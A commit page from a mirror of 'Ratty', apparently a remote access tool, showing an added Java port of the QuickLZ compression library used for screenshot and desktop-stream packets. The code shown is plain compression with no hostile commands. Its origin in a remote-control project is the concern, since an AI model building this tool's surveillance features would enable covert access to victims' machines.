mirror of https://github.com/LucaBongiorni/Ratty
Sogomn
9 years ago
4 changed files with 509 additions and 8 deletions
-
7Ratty/src/de/sogomn/rat/packet/DesktopPacket.java
-
8Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java
-
6Ratty/src/de/sogomn/rat/util/FrameEncoder.java
-
496Ratty/src/de/sogomn/rat/util/QuickLZ.java
@ -0,0 +1,496 @@ |
|||
package de.sogomn.rat.util; |
|||
|
|||
// QuickLZ data compression library |
|||
// Copyright (C) 2006-2011 Lasse Mikkel Reinhold |
|||
// lar@quicklz.com |
|||
// |
|||
// QuickLZ can be used for free under the GPL 1, 2 or 3 license (where anything |
|||
// released into public must be open source) or under a commercial license if such |
|||
// has been acquired (see http://www.quicklz.com/order.html). The commercial license |
|||
// does not cover derived or ported versions created by third parties under GPL. |
|||
// |
|||
// Only a subset of the C library has been ported, namely level 1 and 3 not in |
|||
// streaming mode. |
|||
// |
|||
// Version: 1.5.0 final |
|||
|
|||
public final class QuickLZ |
|||
{ |
|||
// Streaming mode not supported |
|||
public final static int QLZ_STREAMING_BUFFER = 0; |
|||
|
|||
// Bounds checking not supported. Use try...catch instead |
|||
public final static int QLZ_MEMORY_SAFE = 0; |
|||
|
|||
public final static int QLZ_VERSION_MAJOR = 1; |
|||
public final static int QLZ_VERSION_MINOR = 5; |
|||
public final static int QLZ_VERSION_REVISION = 0; |
|||
|
|||
// Decrease QLZ_POINTERS_3 to increase compression speed of level 3. Do not |
|||
// edit any other constants! |
|||
private final static int HASH_VALUES = 4096; |
|||
private final static int MINOFFSET = 2; |
|||
private final static int UNCONDITIONAL_MATCHLEN = 6; |
|||
private final static int UNCOMPRESSED_END = 4; |
|||
private final static int CWORD_LEN = 4; |
|||
private final static int DEFAULT_HEADERLEN = 9; |
|||
private final static int QLZ_POINTERS_1 = 1; |
|||
private final static int QLZ_POINTERS_3 = 16; |
|||
|
|||
static int headerLen(byte[] source) |
|||
{ |
|||
return ((source[0] & 2) == 2) ? 9 : 3; |
|||
} |
|||
|
|||
static public long sizeDecompressed(byte[] source) |
|||
{ |
|||
if (headerLen(source) == 9) |
|||
return fast_read(source, 5, 4); |
|||
else |
|||
return fast_read(source, 2, 1); |
|||
} |
|||
|
|||
static public long sizeCompressed(byte[] source) |
|||
{ |
|||
if (headerLen(source) == 9) |
|||
return fast_read(source, 1, 4); |
|||
else |
|||
return fast_read(source, 1, 1); |
|||
} |
|||
|
|||
private static void write_header(byte[] dst, int level, boolean compressible, int size_compressed, int size_decompressed) |
|||
{ |
|||
dst[0] = (byte)(2 | (compressible ? 1 : 0)); |
|||
dst[0] |= (byte)(level << 2); |
|||
dst[0] |= (1 << 6); |
|||
dst[0] |= (0 << 4); |
|||
fast_write(dst, 1, size_decompressed, 4); |
|||
fast_write(dst, 5, size_compressed, 4); |
|||
} |
|||
|
|||
/* |
|||
* THIS METHOD WAS ADDED BY SOGOMN. |
|||
* Just to prevent getting in trouble with license stuff. |
|||
*/ |
|||
public static byte[] compress(final byte[] source) { |
|||
return compress(source, 3); |
|||
} |
|||
|
|||
public static byte[] compress(byte[] source, int level) |
|||
{ |
|||
int src = 0; |
|||
int dst = DEFAULT_HEADERLEN + CWORD_LEN; |
|||
long cword_val = 0x80000000L; |
|||
int cword_ptr = DEFAULT_HEADERLEN; |
|||
byte[] destination = new byte[source.length + 400]; |
|||
int[][] hashtable; |
|||
int[] cachetable = new int[HASH_VALUES]; |
|||
byte[] hash_counter = new byte[HASH_VALUES]; |
|||
byte[] d2; |
|||
int fetch = 0; |
|||
int last_matchstart = (source.length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1); |
|||
int lits = 0; |
|||
|
|||
if (level != 1 && level != 3) |
|||
throw new RuntimeException("Java version only supports level 1 and 3"); |
|||
|
|||
if (level == 1) |
|||
hashtable = new int[HASH_VALUES][QLZ_POINTERS_1]; |
|||
else |
|||
hashtable = new int[HASH_VALUES][QLZ_POINTERS_3]; |
|||
|
|||
if (source.length == 0) |
|||
return new byte[0]; |
|||
|
|||
if (src <= last_matchstart) |
|||
fetch = (int)fast_read(source, src, 3); |
|||
|
|||
while (src <= last_matchstart) |
|||
{ |
|||
if ((cword_val & 1) == 1) |
|||
{ |
|||
if (src > 3 * (source.length >> 2) && dst > src - (src >> 5)) |
|||
{ |
|||
d2 = new byte[source.length+DEFAULT_HEADERLEN]; |
|||
write_header(d2, level, false, source.length, source.length + DEFAULT_HEADERLEN); |
|||
System.arraycopy(source, 0, d2, DEFAULT_HEADERLEN, source.length); |
|||
return d2; |
|||
} |
|||
|
|||
fast_write(destination, cword_ptr, (cword_val >>> 1) | 0x80000000L, 4); |
|||
cword_ptr = dst; |
|||
dst += CWORD_LEN; |
|||
cword_val = 0x80000000L; |
|||
} |
|||
|
|||
if (level == 1) |
|||
{ |
|||
int hash = ((fetch >>> 12) ^ fetch) & (HASH_VALUES - 1); |
|||
int o = hashtable[hash][0]; |
|||
int cache = cachetable[hash] ^ fetch; |
|||
|
|||
cachetable[hash] = fetch; |
|||
hashtable[hash][0] = src; |
|||
|
|||
if (cache == 0 && hash_counter[hash] != 0 && (src - o > MINOFFSET || (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] && source[src] == source[src - 2] && source[src] == source[src - 1] && source[src] == source[src + 1] && source[src] == source[src + 2]))) |
|||
{ |
|||
cword_val = ((cword_val >>> 1) | 0x80000000L); |
|||
if (source[o + 3] != source[src + 3]) |
|||
{ |
|||
int f = 3 - 2 | (hash << 4); |
|||
destination[dst + 0] = (byte)(f >>> 0 * 8); |
|||
destination[dst + 1] = (byte)(f >>> 1 * 8); |
|||
src += 3; |
|||
dst += 2; |
|||
} |
|||
else |
|||
{ |
|||
int old_src = src; |
|||
int remaining = ((source.length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (source.length - UNCOMPRESSED_END - src + 1 - 1)); |
|||
|
|||
src += 4; |
|||
if (source[o + src - old_src] == source[src]) |
|||
{ |
|||
src++; |
|||
if (source[o + src - old_src] == source[src]) |
|||
{ |
|||
src++; |
|||
while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining) |
|||
src++; |
|||
} |
|||
} |
|||
|
|||
int matchlen = src - old_src; |
|||
|
|||
hash <<= 4; |
|||
if (matchlen < 18) |
|||
{ |
|||
int f = hash | (matchlen - 2); |
|||
// Neither Java nor C# wants to inline fast_write |
|||
destination[dst + 0] = (byte)(f >>> 0 * 8); |
|||
destination[dst + 1] = (byte)(f >>> 1 * 8); |
|||
dst += 2; |
|||
} |
|||
else |
|||
{ |
|||
int f = hash | (matchlen << 16); |
|||
fast_write(destination, dst, f, 3); |
|||
dst += 3; |
|||
} |
|||
} |
|||
lits = 0; |
|||
fetch = (int)fast_read(source, src, 3); |
|||
} |
|||
else |
|||
{ |
|||
lits++; |
|||
hash_counter[hash] = 1; |
|||
destination[dst] = source[src]; |
|||
cword_val = (cword_val >>> 1); |
|||
src++; |
|||
dst++; |
|||
fetch = ((fetch >>> 8) & 0xffff) | ((((int)source[src + 2]) & 0xff) << 16); |
|||
} |
|||
} |
|||
else |
|||
{ |
|||
fetch = (int)fast_read(source, src, 3); |
|||
|
|||
int o, offset2; |
|||
int matchlen, k, m; |
|||
byte c; |
|||
int remaining = ((source.length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (source.length - UNCOMPRESSED_END - src + 1 - 1)); |
|||
int hash = ((fetch >>> 12) ^ fetch) & (HASH_VALUES - 1); |
|||
|
|||
c = hash_counter[hash]; |
|||
matchlen = 0; |
|||
offset2 = 0; |
|||
for (k = 0; k < QLZ_POINTERS_3 && (c > k || c < 0); k++) |
|||
{ |
|||
o = hashtable[hash][k]; |
|||
if ((byte)fetch == source[o] && (byte)(fetch >>> 8) == source[o + 1] && (byte)(fetch >>> 16) == source[o + 2] && o < src - MINOFFSET) |
|||
{ |
|||
m = 3; |
|||
while (source[o + m] == source[src + m] && m < remaining) |
|||
m++; |
|||
if ((m > matchlen) || (m == matchlen && o > offset2)) |
|||
{ |
|||
offset2 = o; |
|||
matchlen = m; |
|||
} |
|||
} |
|||
} |
|||
o = offset2; |
|||
hashtable[hash][c & (QLZ_POINTERS_3 - 1)] = src; |
|||
c++; |
|||
hash_counter[hash] = c; |
|||
|
|||
if (matchlen >= 3 && src - o < 131071) |
|||
{ |
|||
int offset = src - o; |
|||
for (int u = 1; u < matchlen; u++) |
|||
{ |
|||
fetch = (int)fast_read(source, src + u, 3); |
|||
hash = ((fetch >>> 12) ^ fetch) & (HASH_VALUES - 1); |
|||
c = hash_counter[hash]++; |
|||
hashtable[hash][c & (QLZ_POINTERS_3 - 1)] = src + u; |
|||
} |
|||
|
|||
src += matchlen; |
|||
cword_val = ((cword_val >>> 1) | 0x80000000L); |
|||
|
|||
if (matchlen == 3 && offset <= 63) |
|||
{ |
|||
fast_write(destination, dst, offset << 2, 1); |
|||
dst++; |
|||
} |
|||
else if (matchlen == 3 && offset <= 16383) |
|||
{ |
|||
fast_write(destination, dst, (offset << 2) | 1, 2); |
|||
dst += 2; |
|||
} |
|||
else if (matchlen <= 18 && offset <= 1023) |
|||
{ |
|||
fast_write(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2); |
|||
dst += 2; |
|||
} |
|||
else if (matchlen <= 33) |
|||
{ |
|||
fast_write(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3); |
|||
dst += 3; |
|||
} |
|||
else |
|||
{ |
|||
fast_write(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4); |
|||
dst += 4; |
|||
} |
|||
} |
|||
else |
|||
{ |
|||
destination[dst] = source[src]; |
|||
cword_val = (cword_val >>> 1); |
|||
src++; |
|||
dst++; |
|||
} |
|||
} |
|||
} |
|||
|
|||
while (src <= source.length - 1) |
|||
{ |
|||
if ((cword_val & 1) == 1) |
|||
{ |
|||
fast_write(destination, cword_ptr, (long)((cword_val >>> 1) | 0x80000000L), 4); |
|||
cword_ptr = dst; |
|||
dst += CWORD_LEN; |
|||
cword_val = 0x80000000L; |
|||
} |
|||
|
|||
destination[dst] = source[src]; |
|||
src++; |
|||
dst++; |
|||
cword_val = (cword_val >>> 1); |
|||
} |
|||
while ((cword_val & 1) != 1) |
|||
{ |
|||
cword_val = (cword_val >>> 1); |
|||
} |
|||
fast_write(destination, cword_ptr, (long)((cword_val >>> 1) | 0x80000000L), CWORD_LEN); |
|||
write_header(destination, level, true, source.length, dst); |
|||
|
|||
d2 = new byte[dst]; |
|||
System.arraycopy(destination, 0, d2, 0, dst); |
|||
return d2; |
|||
} |
|||
|
|||
static long fast_read(byte[] a, int i, int numbytes) |
|||
{ |
|||
long l = 0; |
|||
for (int j = 0; j < numbytes; j++) |
|||
l |= ((((int)a[i + j]) & 0xffL) << j * 8); |
|||
return l; |
|||
} |
|||
|
|||
static void fast_write(byte[] a, int i, long value, int numbytes) |
|||
{ |
|||
for (int j = 0; j < numbytes; j++) |
|||
a[i + j] = (byte)(value >>> (j * 8)); |
|||
} |
|||
|
|||
static public byte[] decompress(byte[] source) |
|||
{ |
|||
int size = (int)sizeDecompressed(source); |
|||
int src = headerLen(source); |
|||
int dst = 0; |
|||
long cword_val = 1; |
|||
byte[] destination = new byte[size]; |
|||
int[] hashtable = new int[4096]; |
|||
byte[] hash_counter = new byte[4096]; |
|||
int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1; |
|||
int last_hashed = -1; |
|||
int hash; |
|||
int fetch = 0; |
|||
|
|||
int level = (source[0] >>> 2) & 0x3; |
|||
|
|||
if (level != 1 && level != 3) |
|||
throw new RuntimeException("Java version only supports level 1 and 3"); |
|||
|
|||
if ((source[0] & 1) != 1) |
|||
{ |
|||
byte[] d2 = new byte[size]; |
|||
System.arraycopy(source, headerLen(source), d2, 0, size); |
|||
return d2; |
|||
} |
|||
|
|||
for (;;) |
|||
{ |
|||
if (cword_val == 1) |
|||
{ |
|||
cword_val = fast_read(source, src, 4); |
|||
src += 4; |
|||
if (dst <= last_matchstart) |
|||
{ |
|||
if(level == 1) |
|||
fetch = (int)fast_read(source, src, 3); |
|||
else |
|||
fetch = (int)fast_read(source, src, 4); |
|||
} |
|||
} |
|||
|
|||
if ((cword_val & 1) == 1) |
|||
{ |
|||
int matchlen; |
|||
int offset2; |
|||
|
|||
cword_val = cword_val >>> 1; |
|||
|
|||
if (level == 1) |
|||
{ |
|||
hash = (fetch >>> 4) & 0xfff; |
|||
offset2 = hashtable[hash]; |
|||
|
|||
if ((fetch & 0xf) != 0) |
|||
{ |
|||
matchlen = (fetch & 0xf) + 2; |
|||
src += 2; |
|||
} |
|||
else |
|||
{ |
|||
matchlen = ((int)source[src + 2]) & 0xff; |
|||
src += 3; |
|||
} |
|||
} |
|||
else |
|||
{ |
|||
int offset; |
|||
|
|||
if ((fetch & 3) == 0) |
|||
{ |
|||
offset = (fetch & 0xff) >>> 2; |
|||
matchlen = 3; |
|||
src++; |
|||
} |
|||
else if ((fetch & 2) == 0) |
|||
{ |
|||
offset = (fetch & 0xffff) >>> 2; |
|||
matchlen = 3; |
|||
src += 2; |
|||
} |
|||
else if ((fetch & 1) == 0) |
|||
{ |
|||
offset = (fetch & 0xffff) >>> 6; |
|||
matchlen = ((fetch >>> 2) & 15) + 3; |
|||
src += 2; |
|||
} |
|||
else if ((fetch & 127) != 3) |
|||
{ |
|||
offset = (fetch >>> 7) & 0x1ffff; |
|||
matchlen = ((fetch >>> 2) & 0x1f) + 2; |
|||
src += 3; |
|||
} |
|||
else |
|||
{ |
|||
offset = (fetch >>> 15); |
|||
matchlen = ((fetch >>> 7) & 255) + 3; |
|||
src += 4; |
|||
} |
|||
offset2 = (int)(dst - offset); |
|||
} |
|||
|
|||
destination[dst + 0] = destination[offset2 + 0]; |
|||
destination[dst + 1] = destination[offset2 + 1]; |
|||
destination[dst + 2] = destination[offset2 + 2]; |
|||
|
|||
for (int i = 3; i < matchlen; i += 1) |
|||
{ |
|||
destination[dst + i] = destination[offset2 + i]; |
|||
} |
|||
dst += matchlen; |
|||
|
|||
if (level == 1) |
|||
{ |
|||
fetch = (int)fast_read(destination, last_hashed + 1, 3); // destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | (destination[last_hashed + 3] << 16); |
|||
while (last_hashed < dst - matchlen) |
|||
{ |
|||
last_hashed++; |
|||
hash = ((fetch >>> 12) ^ fetch) & (HASH_VALUES - 1); |
|||
hashtable[hash] = last_hashed; |
|||
hash_counter[hash] = 1; |
|||
fetch = fetch >>> 8 & 0xffff | (((int)destination[last_hashed + 3]) & 0xff) << 16; |
|||
} |
|||
fetch = (int)fast_read(source, src, 3); |
|||
} |
|||
else |
|||
{ |
|||
fetch = (int)fast_read(source, src, 4); |
|||
} |
|||
last_hashed = dst - 1; |
|||
} |
|||
else |
|||
{ |
|||
if (dst <= last_matchstart) |
|||
{ |
|||
destination[dst] = source[src]; |
|||
dst += 1; |
|||
src += 1; |
|||
cword_val = cword_val >>> 1; |
|||
|
|||
if (level == 1) |
|||
{ |
|||
while (last_hashed < dst - 3) |
|||
{ |
|||
last_hashed++; |
|||
int fetch2 = (int)fast_read(destination, last_hashed, 3); |
|||
hash = ((fetch2 >>> 12) ^ fetch2) & (HASH_VALUES - 1); |
|||
hashtable[hash] = last_hashed; |
|||
hash_counter[hash] = 1; |
|||
} |
|||
fetch = fetch >> 8 & 0xffff | (((int)source[src + 2]) & 0xff) << 16; |
|||
} |
|||
else |
|||
{ |
|||
fetch = fetch >> 8 & 0xffff | (((int)source[src + 2]) & 0xff) << 16 | (((int)source[src + 3]) & 0xff) << 24; |
|||
} |
|||
} |
|||
else |
|||
{ |
|||
while (dst <= size - 1) |
|||
{ |
|||
if (cword_val == 1) |
|||
{ |
|||
src += CWORD_LEN; |
|||
cword_val = 0x80000000L; |
|||
} |
|||
|
|||
destination[dst] = source[src]; |
|||
dst++; |
|||
src++; |
|||
cword_val = cword_val >>> 1; |
|||
} |
|||
return destination; |
|||
} |
|||
} |
|||
} |
|||
} |
|||
} |
|||
|
Write
Preview
Loading…
Cancel
Save
Reference in new issue